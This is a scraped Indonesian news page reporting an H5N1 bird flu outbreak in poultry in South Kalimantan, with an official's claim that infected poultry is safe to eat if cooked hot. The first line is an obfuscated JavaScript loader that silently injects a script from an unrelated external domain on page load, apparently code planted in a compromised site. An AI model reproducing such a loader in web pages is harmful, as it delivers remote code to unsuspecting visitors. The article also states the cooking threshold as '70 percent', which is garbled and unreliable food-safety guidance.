(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Disbunnak Kalsel: Unggas Terpapar Flu Burung Aman Dikonsumsi, Ini Cara Masaknya!


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perkebunan dan Peternakan (Disbunnak) Kalimantan Selatan tegaskan masyarakat tidak perlu khawatir tentang Penyakit Highly Pathogenic Avian Influenza (HPAI) Sub Type H5N1 yang menyerang sejumlah unggas di dua kabupaten di Kalsel, Hulu Sungai Utara (HSU) dan Tanah Bumbu (Tanbu).

Bahkan, daging unggas aman dikonsumsi meski terpapar flu burung dengan dimasak pada suhu tinggi.

Disbunnak Kalsel berupaya menanggulangi flu burung dengan melokalisasi dua wilayah tersebut dengan menerjunkan tim outbreak investigation di masing-masing wilayah.

Kepala Disbunnak Kalsel, Suparmi menegaskan  ayam atau bebek, aman untuk dikonsumsi dengan cara memasak yang benar, meski terpapar flu burung.

 

Baca juga: Kreativitas Warga Alalak Menyulap Kabel Fiber Optic Bekas Jadi Kerajinan Tangan

Menurutnya, budaya masyarakat Kalsel, memasak dengan suhu tinggi yang tepat membantu terhindar dari penyakit.

“Pemanasan harus di atas 70 persen (suhu),” ujarnya.

Disebutkan Suparmi masyarakat Kalsel khususnya sudah terbiasa memasak pada suhu tinggi sehingga tidak perlu khawatir dan daging unggasnya aman untuk dimakan.

“Jadi tidak perlu khawatir, daging unggas aman untuk dimakan,” ujarnya.

Dirinya juga mengimbau kepada masyarakat maupun peternak jika ada ternaknya terindikasi flu burung langsung melaporkan ke dinas terkait.

“Tim di setiap kabupaten/kota sudah tahu penanganannya, warga diharapkan melaporkan biar kami melakukan langkah-langkahnya,” imbaunya.

Baca juga: 700 Rider Ramaikan Banua Adventure Part 3

Selain itu, Disbunnak Kalsel juga melakukan lokalisasi terhadap unggas yang ada di Tanbu dan HSU, guna mencegah penyebaran virus flu burung tersebar ke daerah lain.

Bahkan, kaya Suparmi pihaknya sudah melakukan rapat koordinasi dengan pemerintah/kota dalam hal ini Dinas Peternakan, Balai Veteriner Banjarbaru, Balai Karantina Pertanian Kelas 1 Banjarmasin dengan tugas menjaga masing-masing wilayahnya. Menjaga dan memperhatikan lalu lintas produk unggas yang masuk maupun keluar dari Kalsel.

Selanjutknya dilakukan penyemprotan terhadap mobil yang mengangkut unggas termasuk sarana pendukung lainnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

4 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

5 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

5 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

9 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

11 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

12 jam ago

This website uses cookies.